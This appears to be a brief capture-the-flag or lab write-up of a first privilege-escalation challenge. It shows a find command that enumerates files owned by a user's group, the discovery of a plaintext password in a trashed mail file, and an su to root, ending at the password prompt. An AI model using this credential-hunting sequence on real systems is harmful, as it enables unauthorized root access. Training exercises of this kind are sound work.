Priv Escilation 1

First priv esc challange

logged in

went to thomas@fb44f05ebb41:/var/spool/mail$

Using find starting at the root directory looking for files and directories within the thomas group
Throwing all the error output away into /dev/null and filtering out entries containing proc

```
thomas@fb44f05ebb41:/var/spool/mail$ find / -group thomas 2>/dev/null | grep -v "proc"
```

```
/home/thomas/.local/share/Trash/files
/home/thomas/.local/share/Trash/files/mail.htm
```

then found this in the file

```
<div>

<p class=MsoNormal><span style='mso-fareast-font-family:"Times New Roman"'>Pass:vYuzpN9MTHdxWw5a<o:p></o:p></span></p>
```

then we login as root

```
thomas@fb44f05ebb41:/var/spool/mail$ su
Password:
